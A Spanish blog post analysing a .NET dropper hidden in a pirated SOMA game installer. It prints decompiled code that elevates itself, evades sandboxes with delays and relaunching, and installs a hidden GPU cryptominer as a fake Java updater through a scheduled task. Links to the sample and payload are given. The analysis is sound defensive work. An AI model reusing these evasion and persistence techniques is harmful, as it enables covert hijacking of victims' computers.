Diseccionando un dropper .NET distribuído en software pirata

Peligros del software ilegal

Tampoco le voy a dar muchas vueltas. El uso de distribuciones ilegales de software, aparte de ilegal, es peligroso. No digo que toda distribución ilegal de software lleve malware, pero haberlas haylas. Y los juegos piratas no son una excepción.

Lejos quedan aquellos tiempos en los que el malware se distribuía al intercambiar disquetes entre conocidos. Ahora, con la generalización de las conexiones de internet, la red de "conocidos" con los que intercambiar es enorme. Y con las redes peer to peer, entre las que destacan las redes torrent, pasamos de redes de intercambio enormes a cuasi mundiales. Y al intervenir tantos participantes, el hecho de recibir contenidos con "regalo oculto" generado por alguien con malas intenciones es solo cuestión de tiempo.

Además, la naturaleza del software a distribuir con "regalo oculto" genera una segmentación del mercado de posibles víctimas a las que infectar que permite especializar el malware a distribuir según el tipo de usuarios o equipos a los que se desea atacar.

Por poner un ejemplo de esta segmentación de mercado que provoca la naturaleza del software pirateado que usa como cebo, un malware bancario irá muy bien "colocado" en una distribución ilegal de software dedicado al mercado bursátil. Y visto desde otra perspectiva, un troyano controlado por la policía igualmente puede colocarse en un visor de imágenes dentro de un paquete de material supuestamente pedófilo.

En esta entrada vamos a ver un malware especializado en una determinada labor que se alberga en un "cebo" que por su naturaleza permitirá maximizar la eficacia de la finalidad de dicho malware.

Money, money, money...

Antes los virus eran prácticamente inofensivos, o al menos con finalidad inofensiva aunque provocaran daños colaterales involuntarios, como puede ser la saturación de las redes de comunicación, o errores y disfunciones en equipos infectados. Pero ese tiempo ya pasó.

Actualmente el mercado de virus se ha "profesionalizado". Ya no se busca ni fama ni reconocimiento sino más bien lo contrario, el anonimato más absoluto acerca de los autores y una finalidad que no es otra que un retorno económico en perjuicio de los usuarios infectados.

Así, periódicamente aparecen en los medios noticias sobre las distintas campañas de ransonware que encriptan documentos en los equipos infectados y exigen al usuario un pago para descriptarlos y volver a tener acceso a sus contenidos.

La aparición de las criptomonedas con el bitcoin a la cabeza ha cambiado los medios de pago que usan los delicuentes cibernéticos a la hora de recoger el botín, por ejemplo para recoger los frutos de las extorsiones realizadas mediante los nombrados ransomware.

Pero las cripotomonedas no solo han cambiado los medios de pago utilizados por ciberdelicuentes. La generación de las distintas criptomonedas, proceso también conocido como minado, precisa de una gran complejidad de computación que va aumentando mes a mes. Los mineros se reunen en lo que se llaman pools de mineros, estableciendo redes de computación distribuída para aunar recursos y aumentar las posibilidades de generar un nuevo bloque válido de criptomonedas. Periódicamente se reparten los beneficios de los bloque generados según la potencia de cálculo que cada minero ha aportado al poll.

Esto ha dado pie a la aparición de un nuevo tipo de malware cuya finalidad es absorber parte de los recursos de computación de la máquina donde se instala para realizar minería de la criptomoneda de turno. Este tipo de malware no es más que un cliente de un determinado poll (en muchos de ellos el cliente minero es de código abierto) modificado para ejecutarse sin mostrar ningún tipo de interfaz al usuario, de tal manera que arranque y funcione sin que el usuario lo perciba.

El único perjuicio que pueden percibir los usuarios es el enlentecimiento en la capacidad de respuesta del equipo, al encontrarse parte de la capacidad de proceso desviada a otras labores.

Dada la potencia computacional a emplear, los mineros se han modificado para utilizar en los cálculos, en lugar del procesador, las tarjetas gráficas. El uso de los procesadores en paralelo que aportan las tarjetas gráficas aumenta enormemente la capacidad de minado por su alta velocidad de cálculo. Pero claro, no todos los ordenadores disponen de tarjetas gráficas potentes, y sobrecargar un poll con multitud de clientes remotos que apenas tienen capacidad de proceso puede incluso acarrear sanciones al que aporta todos esos clientes de poca capacidad de proceso.

¿Y cómo distribuir un malware de este tipo, que precisa un equipo con una capacidad de proceso gráfica decente? Pues como no, en una distribución pirata de un juego que exija una mínima potencia gráfica. Cogemos el juego, modificamos el instalador para que además instale nuestro malware de minado, lo subimos a la red torrent y a esperar que nuestra aportación extra al pool se traduzca en beneficios limpios y sin posiblidad de rastreo. La única ligazón que existe entre ese malware y su creador en el identificador del monedero virtual de criptomoneda dónde el pool volcará periódicamente lo que corresponda a la red de minado aportada por el ciberdelincuente, monederos que como muchos sabrán son completamente anónimos.

El especímen

Nuestro protagonista de hoy se está distribuyendo mediante redes torrent utilizando el juego SOMA, de Frictional Games, lanzado el pasado 22 de septiembre. Concretamente se está utilizando una versión manipulada del producto comercializado por la tienda digital GOG.com. Los requisitos recomendados para el juego son una tarjeta gráfica Nvidia GTX480 o una AMD Radeon HD 5970, que aunque no son el último grito, son unas tarjetas gráficas con una potencia respetable que harán que el minero rinda a gusto.

SOMA, de Frictional Games

El torrent en cuestión tiene el siguiente hash:


C2691A348E76E727AF2691218FEECD5E8E750C91

La distribución lleva el instalador junto con tres ficheros mucho más grandes con extensión .bin, aunque para nuestras intenciones nos basta con descargar solo el instalador que pesa unos 31Mb, disponible aquí (descomprimir y renombrar el archivo resultante a "setup_soma_2.0.0.1.exe").

El instalador presente en dicho torrent es en realidad el dropper de un malware destinado a la minería de criptomonedas mediante GPU.

El malware minero que transporta e instala este dropper disfrazado de instalador, también aparece en VirusTotal desde el 5 de septiembre, bastantes días antes de que se lanzara el juego, por lo que es posible que incluso el propio culpable del tema cometiera la imprudencia de subirlo a ver si los antivirus lo cazaban.

Inicialmente el minero era detectado solo por ESET-NOD32, aunque a fecha 2 de octubre ya es detectado por 20 de 56 antivirus, con lo que por lo pronto se le acabó el chollo a nuestro amigo.

Este dropper se ha subido a VirusTotal, y a fecha 2 de octubre sigue apareciendo como "limpio" por parte de los 57 antivirus que ahora mismo soporta el servicio. Las máquinas virtuales de análisis automatizado de malware tampoco parecen verle problema a este dropper, tanto en Windows 7 como en Windows 8.

Al tema...

El dropper imita la apariencia de los instaladores originales de los juegos comercializados por GOG.com, ya que muestra el icono que utilizan los mismos, pero lo que no puede imitar es la firma digital con la que GOG.com autentifica todos sus instaladores. Además, en los detalles del archivo el autor tampoco se ha esmerado demasiado.

A la izquierda instalador manipulado y a la derecha el original

La falta de firma digital ya es suficiente para hacernos sospechar. La búsqueda por Google del nombre original "MdmProject_v4.exe" confirma las sospechas. O tenemos "bicho" o el autor es un consumado bromista...

En una primera toma de contacto dentro de una máquina virtual, lanzamos el instalador modificado. Enseguida crea un nuevo archivo en su mismo directorio con el nombre "setup_soma.bin" y lanza lo que parece el instalador del juego. Si acudimos al administrador de tareas de Windows encontramos arrancados el ejecutable "setup_soma_2.0.0.1.exe" y el nuevo archivo "setup_soma.bin". Copiamos este último archivo con extensión .exe, y revisando sus propiedades descubrimos que es el instalador original de GOG.com.

Empezamos para meterle mano con la herramienta PEiD, que nos intentará identificar el compilador utilizado, si se ha empaquetado el ejecutable, etc...

Salida de PEid

Nos encontramos ante un ejecutable .NET, así que recurrimos a ILSpy para echar un primer vistazo:

Primer vistazo con ILSpy

Pues nuestro gozo en un pozo. En nuestro primer vistazo vemos bastantes cosas, pero todo sería más claro con los nombres de clases y variables ya que al parecer el autor ha utilizado algún ofuscador de código. Revisando lo que saca ILSpy encontramos una de las pocas clases sin ofuscar con el nombre BabelAttribute y el siguiente contenido:


using System;
public sealed class BabelAttribute : Attribute
{
    public const string Version = "3.5.0.0";
}

Un poco más de búsqueda por internet y localizamos un producto denominado Babel Obfuscator, que resulta ser un ofuscador para .NET, y concretamente estamos ante la versión 3.5.0.0.

Como para casi toda medida hay una contramedida, rebuscamos un poco más por internet y nos encontramos con de4dot, que nos ofrece desofuscar y desempaquetar ejecutables .NET. Entre otros, parece soportar el ofuscador utilizado, por lo que vamos a darle una oportunidad. Antes de nada hay que tener en cuenta que esta herramienta puede ejecutar parte de la aplicación a tratar, por lo que si se sospecha que pudiera tener malware se recomienda usarla dentro de una máquina virtual.

Descargamos una distribución binaria de de4dot (o bien compilamos todos los fuentes) en una máquina virtual. Volcamos igualmente el instalador a desofuscar y los arrastramos sobre el ejecutable "de4dot.exe". Enseguida se nos crea un nuevo archivo con la versión presumiblemente limpia de polvo y paja.

Abrimos ese nuevo archivo con ILSpy y ya vemos algo mejor:

Segundo vistazo con ILSpy

Para empezar a desmenuzar el tema hacemos que ILSpy nos cree un proyecto de Visual Studio con el código desensamblado. Seleccionamos el ejecutable en el árbol que muestra el descompilador a la izquierda, y desde el menú File pulsamos Save code... para crearnos el proyecto.

Como es de esperar, de entrada el proyecto no compilará. Antes hay que limpiarlo y asearlo un poco.

Vemos que hay multitud de ficheros fuente que pertenecen al espacio de nombre "SevenZip". Estos archivos pertenecen al SDK del compresor 7zip, disponible en este enlace. Borramos todos estos archivos del proyecto. En el directorio raíz del proyecto generado por ILSpy habrán quedado algunos archivos huérfanos que no son referenciados, ya que pertenecen al SDK de 7zip, que hemos eliminado. Esto ficheros huérfanos los liquidamos igualmente.

Ahora importamos los del SDK de 7zip para C#, que dentro del paquete del SDK se encuentran en el subdirectorio CS. El proyecto dentro del directorio del SDK "\7zip\Compress\LzmaAlone" no nos hace falta importarlo a nuestro proyecto. Por otro lado, con un editor de recursos extraemos el icono que utiliza el dropper para incorporarlo a nuestra solución, que es el mismo icono que usan los instaladores de GOG.com originales.

Ahora ya podemos intentar compilar el proyecto, y esta vez sí que nos compila. Al revisar el código, vamos renombrando las clases, propiedades y métodos con nombres más explicativos de la función que realizan. Al final, el resultado que usaré para comentar el funcionamiento del dropper, y disponible en GitHub, ha quedado tal que así:

Proyecto resultante tras reordenar y renombrar clases

El punto de entrada a la aplicación, el archiconocido "Main" de toda la vida, queda así:

using MdmProject_v4;
using System;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;

internal static class MainClass
{
    [STAThread]
    private static void Main(string[] args)
    {
        try
        {
            if (args.Length == 0)
            {
                FileUtils.LaunchFile(Application.ExecutablePath, "runas", true, ProcessWindowStyle.Normal);
            }
            else
            {
                OriginalApplicationLauncher.SaveAndLaunchOriginalApplication();
                Thread.Sleep(TimeSpan.FromMinutes((double)new Random().Next(2, 3)));
                TemplateVersionFactory @templateFactory = new TemplateVersionFactory();
                TemplateVersion templateVersion = @templateFactory.LocateFirstTemplateInstalled();
                TemplateInstaller templateInstaller = new TemplateInstaller(templateVersion);
                if (templateVersion.prop_tmp_dir == null)
                {
                    templateInstaller.InstallTemplate();
                }
                else
                {
                    templateInstaller.CreateTask(false);
                }
            }
        }
        catch (Exception)
        {
        }
    }
}

En primer lugar la aplicación revisa si no se ha pasado algún parámetro. Si no se han pasado parámetros, llama al método "FileUtils.LaunchFile" y posteriormente finaliza la ejecución. Este método lo que hace es arrancar el programa que se pasa como primer parámetro, con los argumentos del segundo parámetro, y si el tercer parámetro es verdadero, trata de ejecutarlo con elevación de privilegios, o sea, equivale a ejecutarlo "como administrador". Según esté configurado el UAC de Windows, el sistema operativo se nos mostrará un aviso pidiendo confirmación o no.

Así, puesto que lo normal es que se invoque la aplicación sin argumentos, el efecto que se produce es que la aplicación finaliza tras intentar lanzarse a sí misma con elevación de privilegios. Cuando se lanza a sí misma, coloca como argumento la cadena "runas", con lo que en la nueva ejecución el programa pasa por la claúsula "else".

Con esto, el dropper consigue intentar lanzarse con elevación de privilegios sin indicarlo en su manifiesto, con lo que inicialmente no parece tan peligroso como otros ejecutables a los que el sistema operativo añade un pequeño escudo al icono del ejecutable.

Icono UAC

Otro factor que añade esta forma de lanzarse es permitir desengancharse de un hipotético debugger que esté revisando la aplicación. El debugger finalizará al acabar el proceso inicial, permitiendo que el nuevo proceso lanzado con elevación de privilegios continue sin estar sometido al escutrinio del debugger. Y no hablo de un debugger operado por un humano, que posiblemente pille la jugada, sino de otros como pueden ser los sandbox para análisis automatizado de malware, como por ejemplo Cuckoo.

Logo de Cuckoo

El método con el que comienza la claúsula "else" almacena en el mismo directorio desde el que se lanza la aplicación el recurso "setup" en un fichero con el nombre "setup_soma.bin" (método "FileUtils.SaveBinaryToFile") y finalmente lo ejecuta usando el intérprete de comandos lanzando "cmd.exe /c \setup_soma.bin" ("FileUtils.LaunchFile"). Este archivo es el instalador original del juego generado por GOG.com con su correspondiente firma digital. A partir de aquí comienza la instalación del juego, que es lo que la víctima espera.

using MdmProject_v4.Properties;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;

internal class OriginalApplicationLauncher
{
    public static void SaveAndLaunchOriginalApplication()
    {
        try
        {
            if (Globals.currentDirectory == "")
            {
                Globals.currentDirectory = Environment.CurrentDirectory;
            }
            string text = Path.Combine(Globals.currentDirectory, Globals.originalApplicationFileName);
            if (Resources.originalFileContents.Length != 1)
            {
                FileUtils.SaveBinaryToFile(text, Resources.originalFileContents);
            }
            FileUtils.LaunchFile(Globals.cmdPath, "/c \"" + text + "\"", false, ProcessWindowStyle.Hidden);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
    }
}

Una vez lanzada la instalación real del juego, en el procedimiento principal el dropper espera un tiempo aleatorio de entre 2 y 3 minutos para a continuación comenzar con la extracción e instalación del payload. Nuevamente, esta espera podrá permitir burlar aquellos sistemas automatizados de malware más impacientes que finalicen los análisis antes de 2 minutos.

El autor de este malware, como muestra una sencilla búsqueda en internet de algunas cadenas que aparecen en el ejecutable ("Steam-S-1-8-22-9865GUI", "MdmUpdateTaskMachineCore", "mdmproject_v4"),  ya lleva varias campañas dedicadas al tema cripto-minero. Para la instalación del payload se definen una serie de plantillas implementadas con la clase TemplateVersion. Esta clase tiene las siguientes propiedades privadas junto con sus correspodientes getters y setters públicos:

[Serializable]
internal class TemplateVersion
{
    // Nombre del fichero con payload a ejecutar
    private string run_file;

    // Lista de directorios donde puede instalarse el payload
    private string[] root_dir;

    // Subdirectorio a crear (dentro de alguno de los 'root_dir')
    // donde instalar el payload
    private string up_dir;

    // Nombre de la tarea con la que se instalará el payload
    private string task_name;

    // Ficheros que forman el payload
    private string[] files;

    // Null en caso de que los ficheros se acaban de crear
    // En caso de que los ficheros ya existieran, indica el
    // directorio en el que se encuentran
    private string tmp_dir;

    [...]
}

Tras el "sleep", el dropper intentará localizar si se encuentra ya instalada en el sistema alguna de sus plantillas anteriores.

En caso afirmativo, el dropper se limita a recrear la tarea programada que lanza al malware minero, apuntando a la instalación que haya localizado. Para crear esta tarea programada en primer lugar se vuelca a disco un fichero "config.xml" (ver "TemplateInstaller.SaveTaskConfigFile") con una serie de parámetros ajustados en tiempo de ejecución (fecha de inicio de la tarea programada, ejecutable a lanzar con sus argumentos, etc...). Este fichero de configuración viene ya preconstruído en el código de la aplicación, en la cadena "Globals.taskConfigXml". La tarea identificada por "Java Update Schedule" queda programada para ser lanzada 20 minutos después de que el usuario se loguee en el sistema, se ejecutará el payload "jusched.exe" y se pasará como parámetro supuestamente el identificador del autor del malware en el pool minero al que se conectará el payload, "overbtc123.". Además la tarea se programa para que se ejecute por primera vez con un retardo aleatorio de entre 1 y 2 días después de la fecha actual, dificultando aún más el que usuario relacione los problemas de rendimiento que sin duda aparecerán con la ejecución del instalador del juego.

Tras crear el archivo de configuración de la tarea, ésta es importada ejecutando la aplicación del sistema operativo "schtasks.exe" (ver "TemplateInstaller.LaunchTaskCreator"), con lo que la tarea ya programada queda así:

Cabecera de la tarea programada

Disparador de la tarea

Tarea a realizar

En caso de no localizar una plantilla anterior ya instalada, el dropper despliega los archivos del payload y finalmente crea (o recrea si existiera) la tarea programada. Los archivos del payload se incluyen, al igual que el instalador original de GOG.com al que suplanta, como recurso con el nombre "jusched". A diferencia del instalador original que se encuentra inalterado en los recursos del dropper, los archivos del payload se encuentran empaquetados con LZMA, de ahí el que el proyecto incluya el SDK de 7zip. Entre otras cosas, el dropper consigue así dificultar la detección del malware minero en el  interior del instalador por parte de aplicaciones antivirus.

El payload está formado por un ejecutable junto con tres librerías de terceros:

• jusched.exe. Usando el mismo nombre e icono que el actualizador de Java al que pretende simular, contiene el cliente minero modificado por el autor del malware.
• libcurl.dll. Librería de cURL para comunicaciones, supuestamente son el servidor del pool minero.
• msvcr120.dll y msvcp120.dll. Librerías de runtime de Microsoft Visual Studio 2013 para C y C++ respectivamente.

Estos ficheros son volcados a un subdirectorio denominado "Java" que el dropper crea dentro de uno de los subdirectorios presentes en alguno de los directorios de sistema ya existentes en, y por orden de preferencia:

• ApplicationData
• LocalApplicationData
• Personal
• MyMusic
• MyPictures

Puesto que el dropper se lanza con privilegios de administración, no tendrá problemas en crear el directorio "Java" y volcar el payload en alguno de los subdirectorios ya existentes del directorio de aplicaciones (normalmente "C:\Users\NOMBRE_USUARIO\AppData\Roaming").

Una vez instalados los archivos y programada la tarea, el dropper finaliza mientras que el  usuario espera que el instalador original del juego sigue instalando el videojuego...

Notas

No se comprobado la funcionalidad de lo que a todas luces parece que es un malware minero implementado en el archivo "jusched.exe". Es de suponer que es del interés del creador del malware el que los ordenadores infectados sean completamente funcionales para maximizar el rendimiento del minero. Asi mismo, no le interesa realizar otros funcionalidades secundarias que puedan alertar al usuario, más allá de la necesaria caída de rendimiento del equipo cuando el minero se encuentra funcionando.

De todas maneras queda bajo la responsabilidad del lector lanzar los archivos enlazados, aunque yo aconsejaría usar siempre máquinas virtuales...

Los ficheros fuente decompilados a partir del binario del dropper, y con el payload original (o sea, cuidado con auto-inyectarse el minero) en su archivo de recursos, se encuentran en Github.